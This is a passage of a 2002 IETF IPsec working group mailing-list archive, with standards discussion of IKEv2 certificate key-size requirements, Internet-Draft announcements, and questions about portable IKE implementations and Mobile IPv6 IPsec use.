Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "VPNC" == VPNC writes: >> 4.1 Why KEY is being obsoleted. Dan Massey >> www.ietf.org/internet-drafts/draft-ietf-dnsext-restrict-key-for-dnssec-04.txt Looks like rev-less-than-one of the announcement went out. A more correct title is: 4.1 Why the KEY record was restricted to only DNSSEC keys. Dan Massey www.ietf.org/internet-drafts/draft-ietf-dnsext-restrict-key-for-dnssec-04.txt ] ON HUMILITY: to err is human. To moo, bovine. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian GNU/Linux using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Finger me for keys iQCVAwUBPbBes4qHRg3pndX9AQE0bgP+JJr1yjWCU4VzBn0FspZJ+j5lIMaoHTX8 Mmce1KJ0zQCI3LHvR2mTyM9CVi0jXIRaEWk5Vv7/B36rn2g9vqmJ+Cw+7K11R/aF 1fyn5XBmpGoVdI/e8YkbqJ+LFsNDjf3D5D3nFKzRb++xg2WQFrJOSCxY76xiamhS v5bkBZm/DNI= =wTzc -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Tue Oct 22 01:38:31 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9M8cUW02220; Tue, 22 Oct 2002 01:38:30 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id DAA19149 Tue, 22 Oct 2002 03:33:01 -0400 (EDT) Message-ID: From: Harshwardhan Mittal To: "'ipsec@lists.tislabs.com'" Subject: Portable IKE code Date: Tue, 22 Oct 2002 12:42:21 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi Everybody, Its regarding Free S/WAN pluto implementation. the code of pluto is tightly integrated with swan ipsec code and linux plateform. Do any of you aware of some more portable IKE implementation. Thanks in advance. Regards, Harsh From owner-ipsec@lists.tislabs.com Tue Oct 22 07:29:12 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9METBW27598; Tue, 22 Oct 2002 07:29:11 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA19896 Tue, 22 Oct 2002 09:50:49 -0400 (EDT) Message-Id: <200210220842.g9M8gSmG005646@ritz.appli.se> To: Harshwardhan Mittal cc: "'ipsec@lists.tislabs.com'" Subject: Re: Portable IKE code In-reply-to: Your message of "Tue, 22 Oct 2002 12:42:21 +0530." MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Date: Tue, 22 Oct 2002 10:42:28 +0200 From: Niklas Hallqvist Sender: owner-ipsec@lists.tislabs.com Precedence: bulk > From: Harshwardhan Mittal > Date: Tue, 22 Oct 2002 12:42:21 +0530 > Its regarding Free S/WAN pluto implementation. > the code of pluto is tightly integrated with swan ipsec code and linux > plateform. > > Do any of you aware of some more portable IKE implementation. isakmpd, found in OpenBSD, www.openbsd.org, checkout src/sbin/isakmpd. runs on a multitude of platforms. Niklas From owner-ipsec@lists.tislabs.com Wed Oct 23 07:06:48 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9NE6lW15422; Wed, 23 Oct 2002 07:06:47 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA22305 Wed, 23 Oct 2002 09:22:15 -0400 (EDT) Message-Id: <200210231137.HAA14167@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:;;;;@tislabs.com;;; Cc: ipsec@lists.tislabs.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipsec-sctp-04.txt Date: Wed, 23 Oct 2002 07:37:18 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Security Protocol Working Group of the IETF. Title : On the Use of SCTP with IPsec Author(s) : S. Bellovin et al. Filename : draft-ietf-ipsec-sctp-04.txt Pages : 0 Date : 2002-10-22 This document describes functional requirements for IPsec [RFC2401] and IKE [RFC2409] to facilitate their use for securing SCTP [RFC2960] traffic. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipsec-sctp-04.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipsec-sctp-04.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipsec-sctp-04.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2002-10-22143643.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipsec-sctp-04.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipsec-sctp-04.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2002-10-22143643.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ipsec@lists.tislabs.com Wed Oct 23 08:41:24 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9NFfNW21603; Wed, 23 Oct 2002 08:41:23 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA22717 Wed, 23 Oct 2002 11:01:45 -0400 (EDT) Message-ID: From: Harshwardhan Mittal To: "'ipsec@lists.tislabs.com'" Subject: openssl toolkit Date: Wed, 23 Oct 2002 20:11:23 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi All, It might be slightly out of subject of this mailing list but still I will appreciate the replies. Do any of you know how to stop giving standard input while using openssl enc from command line. I mean what hot key to use. man page doesnt help. Thanks in advance. Regards, Harsh From owner-ipsec@lists.tislabs.com Fri Oct 25 09:44:11 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9PGiBW10334; Fri, 25 Oct 2002 09:44:11 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA27351 Fri, 25 Oct 2002 12:12:18 -0400 (EDT) Message-Id: <5.1.0.14.2.20021025115425.03328590@exna07.securitydynamics.com> X-Sender: rhousley@exna07.securitydynamics.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 25 Oct 2002 12:11:03 -0400 To: ipsec@lists.tislabs.com From: "Housley, Russ" Subject: IKEv2 Key Size Conformance Requirements Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I am a bit confused by the text in IKEv2-03. I repeat a few paragraphs from section 6: X.509 certificates containing and signed by RSA keys of size 512, 768, 1024, and 2048 bits. (It SHOULD accept RSA keys of any multiple of 8 bits in size from 512 bits to 4092 bits, and MAY accept RSA keys of any size). If there is a limit on the size of an X.509 certificate, it MUST be at least 8K. If there is a limit on the length of a certificate chain, it MUST be at least 10. X.509 certificates containing and signed by DSS keys of size 512, 768, 1024, and 2048 bits. (It MAY accept DSS keys of any size). Here are my concerns: 1. The first sentence of the first paragraph does not contain a MUST. I think we want implementation to be able to perform RSA public key operations using 512, 768, 1024, and 2048 bit RSA public keys. 2. I think that conformance statements about X.509 certificate buffer sizes should be handled in a separate paragraph. Units should also be provided. 8K bits? That is probably too small. 8K octets? This is probably over kill. 2K octets is adequate most certificates. 3. The first sentence of the second paragraph does not contain a MUST. I think we want implementation to be able to perform DSS public key operations using 512, 768, 1024, and 2048 bit DSS public keys. 4. [DSS] does not permit 2048 bit public keys. An updated reference is needed. 5. I would like to see requirements on private key operations too. Recent guidance from NIST indicates that 1024 bit RSA and DSS keys are adequate for protection of sensitive data until the year 2015. This seems like good justification for making support for 1024 bit private key operations the MUST. Of course, implementations MAY support any key size.... Russ From owner-ipsec@lists.tislabs.com Fri Oct 25 09:44:15 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9PGiEW10354; Fri, 25 Oct 2002 09:44:14 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA27288 Fri, 25 Oct 2002 11:48:11 -0400 (EDT) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Fri, 25 Oct 2002 08:40:25 -0700 To: ipsec@lists.tislabs.com From: Paul Hoffman / IMC Subject: Fwd: Last Call: Securing Block Storage Protocols over IP to Proposed Standard Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk The iSCSI folks are in IETF last call on their security document: >To: IETF-Announce: ; >Cc: ips@ece.cmu.edu >From: The IESG >SUBJECT: Last Call: Securing Block Storage Protocols over IP to > Proposed Standard >Reply-to: iesg@ietf.org >Date: Thu, 24 Oct 2002 17:17:03 -0400 >Sender: scoya@cnri.reston.va.us > > >The IESG has received a request from the IP Storage Working Group to >consider Securing Block Storage Protocols over IP > as a Proposed Standard. > >The IESG plans to make a decision in the next few weeks, and solicits >final comments on this action. Please send any comments to the >iesg@ietf.org or ietf@ietf.org mailing lists by 2002-11-7. > >Files can be obtained via >http://www.ietf.org/internet-drafts/draft-ietf-ips-security-16.txt They have many normative references to our work, including draft-ietf-ipsec-ciph-aes-ctr. There has been no discussion on this draft in a while; is it ready for WG last call? --Paul Hoffman, Director --Internet Mail Consortium From owner-ipsec@lists.tislabs.com Fri Oct 25 17:49:59 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9Q0nwW11591; Fri, 25 Oct 2002 17:49:58 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id UAA28416 Fri, 25 Oct 2002 20:15:49 -0400 (EDT) From: Black_David@emc.com Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C491@CORPMX14> To: ipsec@lists.tislabs.com Subject: RE: Last Call: Securing Block Storage Protocols over IP to Propos ed Standard Date: Fri, 25 Oct 2002 20:16:20 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk > They have many normative references to our work, including > draft-ietf-ipsec-ciph-aes-ctr. There has been no discussion on this > draft in a while; is it ready for WG last call? I understand that the author of this AES CTR draft believes it to be ready for WG Last Call. I would ask that it be last called promptly so as to avoid causing a draft hairball/logjam -- by Atlanta, the ADs and IESG will likely have a dozen IP Storage (ips) WG drafts that contain normative references to the AES CTR draft or dependencies on drafts that have such references. Four of these drafts (the security draft that Paul mentioned, plus three Fibre Channel encapsulation drafts) are currently in IETF Last Call. If there are any serious issues with AES CTR, we need to know about them ASAP, so as to avoid holding things up. Thanks, --David (ips WG co-chair) ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 **NEW** FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- From owner-ipsec@lists.tislabs.com Sat Oct 26 13:20:13 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9QKKCW16644; Sat, 26 Oct 2002 13:20:12 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id PAA00065 Sat, 26 Oct 2002 15:32:18 -0400 (EDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: In-Reply-To: <5.1.0.14.2.20021025115425.03328590@exna07.securitydynamics.com> References: <5.1.0.14.2.20021025115425.03328590@exna07.securitydynamics.com> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Sat, 26 Oct 2002 12:32:14 -0700 To: "Housley, Russ" , ipsec@lists.tislabs.com From: Paul Hoffman / VPNC Subject: Re: IKEv2 Key Size Conformance Requirements Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 12:11 PM -0400 10/25/02, Housley, Russ wrote: >I am a bit confused by the text in IKEv2-03. I repeat a few >paragraphs from section 6: > > X.509 certificates containing and signed by RSA keys of size 512, > 768, 1024, and 2048 bits. (It SHOULD accept RSA keys of any multiple > of 8 bits in size from 512 bits to 4092 bits, and MAY accept RSA keys > of any size). If there is a limit on the size of an X.509 > certificate, it MUST be at least 8K. If there is a limit on the > length of a certificate chain, it MUST be at least 10. > > X.509 certificates containing and signed by DSS keys of size 512, > 768, 1024, and 2048 bits. (It MAY accept DSS keys of any size). > >Here are my concerns: > >1. The first sentence of the first paragraph does not contain a >MUST. I think we want implementation to be able to perform RSA >public key operations using 512, 768, 1024, and 2048 bit RSA public >keys. On the grammar point, the sentence preceding these paragraphs makes it seem like the MUST is there, but the MUST appears later as well. A little grammarizing needed here. On the list of actual key sizes, 512 and 768 should be removed from both lists. They are too small for modern security use. Why are DSS certificates a MUST? Few people support them, and the amount of interop testing for them is negligible. Why are every multiple of 8 bits required? Does anyone use these in real life? Proposed new wording: A conforming implementation MUST be able to authenticate with X.509 certificates containing and signed by RSA keys of size 1024, 1536, and 2048 bits. It MAY process X.509 certificates of any size. If there is a limit on the length of a certificate chain, it MUST be at least 10. A conforming implementation MAY accept X.509 certificates containing and signed by non-RSA keys, such as DSS keys. --Paul Hoffman, Director --VPN Consortium From owner-ipsec@lists.tislabs.com Sat Oct 26 14:10:50 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9QLAnW19896; Sat, 26 Oct 2002 14:10:49 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA00168 Sat, 26 Oct 2002 16:36:31 -0400 (EDT) From: "Housley, Russ" To: Paul Hoffman / VPNC Cc: ipsec@lists.tislabs.com Message-Id: <5.1.0.14.2.20021026163507.031e24a8@exna07.securitydynamics.com> X-Sender: rhousley@exna07.securitydynamics.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sat, 26 Oct 2002 16:36:56 -0400 Subject: Re: IKEv2 Key Size Conformance Requirements In-Reply-To: References: < <5.1.0.14.2.20021025115425.03328590@exna07.securitydynamics.com> <5.1.0.14.2.20021025115425.03328590@exna07.securitydynamics.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Paul: I like the direction that we are going, but I would still like to handle private keys too. Your proposal still only imposes requirements on the handling of public keys. I think that 1024 is the appropriate MUST statement for private keys. Russ At 12:32 PM 10/26/2002 -0700, Paul Hoffman / VPNC wrote: >At 12:11 PM -0400 10/25/02, Housley, Russ wrote: >>I am a bit confused by the text in IKEv2-03. I repeat a few paragraphs >>from section 6: >> >> X.509 certificates containing and signed by RSA keys of size 512, >> 768, 1024, and 2048 bits. (It SHOULD accept RSA keys of any multiple >> of 8 bits in size from 512 bits to 4092 bits, and MAY accept RSA keys >> of any size). If there is a limit on the size of an X.509 >> certificate, it MUST be at least 8K. If there is a limit on the >> length of a certificate chain, it MUST be at least 10. >> >> X.509 certificates containing and signed by DSS keys of size 512, >> 768, 1024, and 2048 bits. (It MAY accept DSS keys of any size). >> >>Here are my concerns: >> >>1. The first sentence of the first paragraph does not contain a >>MUST. I think we want implementation to be able to perform RSA public >>key operations using 512, 768, 1024, and 2048 bit RSA public keys. > >On the grammar point, the sentence preceding these paragraphs makes it >seem like the MUST is there, but the MUST appears later as well. A little >grammarizing needed here. > >On the list of actual key sizes, 512 and 768 should be removed from both >lists. They are too small for modern security use. > >Why are DSS certificates a MUST? Few people support them, and the amount >of interop testing for them is negligible. > >Why are every multiple of 8 bits required? Does anyone use these in real life? > >Proposed new wording: > > A conforming implementation MUST be able to authenticate with X.509 > certificates containing and signed by RSA keys of size 1024, 1536, and > 2048 bits. It MAY process X.509 certificates of any size. If there is a > limit on the length of a certificate chain, it MUST be at least 10. > > A conforming implementation MAY accept X.509 certificates containing > and signed by non-RSA keys, such as DSS keys. > > >--Paul Hoffman, Director >--VPN Consortium From owner-ipsec@lists.tislabs.com Mon Oct 28 07:41:12 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9SFfBW04905; Mon, 28 Oct 2002 07:41:12 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA03531 Mon, 28 Oct 2002 09:49:11 -0500 (EST) Message-ID: <20021028143619.665.qmail@web9401.mail.yahoo.com> Date: Mon, 28 Oct 2002 06:36:19 -0800 (PST) From: Suresh Kumar Subject: ISAKMP-SA & Security Policy To: ipsec@lists.tislabs.com Cc: dharkins@cisco.com, carrel@ipsec.org MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-2117520440-1035815779=:99911" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --0-2117520440-1035815779=:99911 Content-Type: text/plain; charset=us-ascii Hello list, I am a new bee to IPSec. I have learned from reading of IKE-2409 that, ISAKMP-SA, SPI is an concatination of COOKIE of INitiator and COOKIE of responder. Does this mean PF_KEY interface is not used to create SPI for ISAKMP implementation ? Hence there will not any IPSec Policy Set for this SPI ? and Quick Mode exchange is secured by the Keying Material established during the 1St Phase ?. All these interpretations are correct ? Please clarify. thanks Suresh. --------------------------------- Do you Yahoo!? Y! Web Hosting - Let the expert host your web site --0-2117520440-1035815779=:99911 Content-Type: text/html; charset=us-ascii

Hello list,

I am a new bee to IPSec. I have learned from reading of IKE-2409 that, ISAKMP-SA, SPI is an concatination of COOKIE of INitiator and COOKIE of responder. Does this mean PF_KEY interface is not used to create SPI for ISAKMP implementation ? Hence there will not any IPSec Policy Set for this SPI ? and Quick Mode exchange is secured by the Keying Material established during the 1St Phase ?. All these interpretations are correct ?

Please clarify.

thanks

Suresh.

 


Do you Yahoo!?
Y! Web Hosting - Let the expert host your web site --0-2117520440-1035815779=:99911-- From owner-ipsec@lists.tislabs.com Mon Oct 28 08:59:57 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9SGxvW11335; Mon, 28 Oct 2002 08:59:57 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA03842 Mon, 28 Oct 2002 11:23:10 -0500 (EST) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: In-Reply-To: <5.1.0.14.2.20021026163507.031e24a8@exna07.securitydynamics.com> References: < <5.1.0.14.2.20021025115425.03328590@exna07.securitydynamics.com> <5.1.0.14.2.20021025115425.03328590@exna07.securitydynamics.com> <5.1.0.14.2.20021026163507.031e24a8@exna07.securitydynamics.com> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Mon, 28 Oct 2002 08:23:10 -0800 To: "Housley, Russ" From: Paul Hoffman / VPNC Subject: Re: IKEv2 Key Size Conformance Requirements Cc: ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 4:36 PM -0400 10/26/02, Housley, Russ wrote: >I like the direction that we are going, but I would still like to >handle private keys too. Your proposal still only imposes >requirements on the handling of public keys. I think that 1024 is >the appropriate MUST statement for private keys. Sorry, I took for granted that if you could use someone else's 2048-bit public key, that you would be able to issue your own that size. Would the following wording be better? >> A conforming implementation MUST be able to create, >> and to authenticate with, X.509 >> certificates containing and signed by RSA keys of size 1024, 1536, and >> 2048 bits. It MAY process X.509 certificates of any size. If there is a >> limit on the length of a certificate chain, it MUST be at least 10. >> >> A conforming implementation MAY accept X.509 certificates containing >> and signed by non-RSA keys, such as DSS keys. --Paul Hoffman, Director --VPN Consortium From owner-ipsec@lists.tislabs.com Mon Oct 28 09:06:12 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9SH6BW11875; Mon, 28 Oct 2002 09:06:11 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA03860 Mon, 28 Oct 2002 11:35:17 -0500 (EST) Message-ID: <3DBD6768.70207@kolumbus.fi> Date: Mon, 28 Oct 2002 18:35:52 +0200 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021003 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ipsec@lists.tislabs.com Cc: Vijay Devarapalli , Francis Dupont , Michael Thomas Subject: request to review draft in mobile IP wg Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi, I'd like to ask the help of the IPsec WG to take a look at a draft which is being worked on in the Mobile IP working group. This draft relates to Mobile IPv6. A little background may perhaps be necessary for those not involved in IPv6 and MIPv6 work. Mobile IPv6 allows nodes to move around the network and and still use their address they had in the home network (home address). A router in the network (home agent) tunnels all traffic to the mobile node and back. While away from home, the mobile nodes get temporary (care-of) addresses from the visited networks. The mobile nodes signal these care-of addresses to the home agent using Binding Updates, carried in an IPv6 protocol called Mobility Header. This signaling is secured with IPsec, mandatory manual keying and optional automatic keying. The mobile node and the home agent usually have some real-life relationship, such as that the home agent is a router in your company, service provider, or home. Mobile IPv6 allows also route optimization, where the mobile node can inform its peers (correspondent nodes) where it is currently located. There may not be any relationship between the mobile node and the correspondent node in this case, e.g., the corresponde node could be a web server somewhere. This signaling is not secured using IPsec or any other security mechanism requiring pre-shared keys or security infrastructure. Instead, a simple mechanism called return routability is used. However, we assume that the mobile node and home agent can encrypt the messages in this mechanism as they travel between the mobile node and the home agent. Thus at least some of the tunneled packets need encryption. But back to the subject of this e-mail, the use of IPsec: As described above, the signaling between the home agent and the mobile node applies IPsec. Mobile IPv6 introduces a number of interesting factors that make the use of security less trivial. These new factors are: - Movements. The mobile node sends from one address at one time, from another at another time. - Home Address Option and Type 2 Routing Header. These are used to carry the home address in the packets from and to the mobile node, respectively. - Tunnels Some of you may also remember Francis' draft about the complications caused by the combination of mobility and IPsec. We think that we now have a solution that works, even if many of the optimizations that Francis proposed are left for future work. But review on this would be useful, given that the issues are quite subtle. Please take a look at least on Section 4 (formats), Section 5 (requirements), and Section 9 (design decisions). There's a few discussions ongoing also about the draft in the mobile IP WG. If we end up with specific questions or choices I can send those to this list as well. Since this draft is related to how the mobile IPv6 could become an RFC we'd like to get input as soon as possible. (MIPv6 itself has passed last call with comments; we are starting the last call for this other document now.) Here's the IPsec draft URL and abstract: http://www.ietf.org/internet-drafts/draft-ietf-mobileip-mipv6-ha-ipsec-01.txt "Using IPsec to Protect Mobile IPv6 Signaling between Mobile Nodes and Home Agents" Mobile IPv6 uses IPsec to protect signaling between the home agent and the mobile node. Mobile IPv6 base document defines the main requirements these nodes must follow. This draft discusses these requirements in more depth, illustrates the used packet formats, describes suitable configuration procedures, and shows how implementations can process the packets in the right order. The latest mobile IPv6 draft (being prepared for submission of the draft 19; don't use draft 18 because the text in question has changed): http://people.nokia.net/charliep/txt/mobilev6/mobilev6+++.txt "Mobility Support in IPv6" This document specifies the operation of the IPv6 Internet with mobile computers. Each mobile node is always identified by its home address, regardless of its current point of attachment to the Internet. While situated away from its home, a mobile node is also associated with a care-of address, which provides information about the mobile node's current location. IPv6 packets addressed to a mobile node's home address are transparently routed to its care-of address. The protocol enables IPv6 nodes to cache the binding of a mobile node's home address with its care-of address, and to then send any packets destined for the mobile node directly to it at this care-of address. To support this operation, Mobile IPv6 defines a new IPv6 protocol and a new destination option. All IPv6 nodes, whether mobile or stationary can communicate with mobile nodes. The sections that relate to this issue are 5.1, 5.4 to 5.5 and 14.1 to 14.3. --Jari From owner-ipsec@lists.tislabs.com Mon Oct 28 09:32:29 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9SHWSW15183; Mon, 28 Oct 2002 09:32:29 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA03941 Mon, 28 Oct 2002 12:01:50 -0500 (EST) From: "Housley, Russ" To: Paul Hoffman / VPNC Cc: ipsec@lists.tislabs.com Message-Id: <5.1.0.14.2.20021028120114.0316cc68@exna07.securitydynamics.com> X-Sender: rhousley@exna07.securitydynamics.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 28 Oct 2002 12:01:53 -0500 Subject: Re: IKEv2 Key Size Conformance Requirements In-Reply-To: References: < <5.1.0.14.2.20021026163507.031e24a8@exna07.securitydynamics.com> < <5.1.0.14.2.20021025115425.03328590@exna07.securitydynamics.com> <5.1.0.14.2.20021025115425.03328590@exna07.securitydynamics.com> <5.1.0.14.2.20021026163507.031e24a8@exna07.securitydynamics.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Paul: No. A CA, not a IPsec implementation, creates certificates. Russ At 08:23 AM 10/28/2002 -0800, Paul Hoffman / VPNC wrote: >At 4:36 PM -0400 10/26/02, Housley, Russ wrote: >>I like the direction that we are going, but I would still like to handle >>private keys too. Your proposal still only imposes requirements on the >>handling of public keys. I think that 1024 is the appropriate MUST >>statement for private keys. > >Sorry, I took for granted that if you could use someone else's 2048-bit >public key, that you would be able to issue your own that size. Would the >following wording be better? > >>> A conforming implementation MUST be able to create, >>> and to authenticate with, X.509 >>> certificates containing and signed by RSA keys of size 1024, 1536, and >>> 2048 bits. It MAY process X.509 certificates of any size. If there is a >>> limit on the length of a certificate chain, it MUST be at least 10. >>> >>> A conforming implementation MAY accept X.509 certificates containing >>> and signed by non-RSA keys, such as DSS keys. > >--Paul Hoffman, Director >--VPN Consortium From owner-ipsec@lists.tislabs.com Mon Oct 28 09:40:58 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9SHevW15667; Mon, 28 Oct 2002 09:40:58 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA03976 Mon, 28 Oct 2002 12:07:56 -0500 (EST) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: In-Reply-To: <5.1.0.14.2.20021028120114.0316cc68@exna07.securitydynamics.com> References: < <5.1.0.14.2.20021026163507.031e24a8@exna07.securitydynamics.com> < <5.1.0.14.2.20021025115425.03328590@exna07.securitydynamics.com> <5.1.0.14.2.20021025115425.03328590@exna07.securitydynamics.com> <5.1.0.14.2.20021026163507.031e24a8@exna07.securitydynamics.com> <5.1.0.14.2.20021028120114.0316cc68@exna07.securitydynamics.com> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants 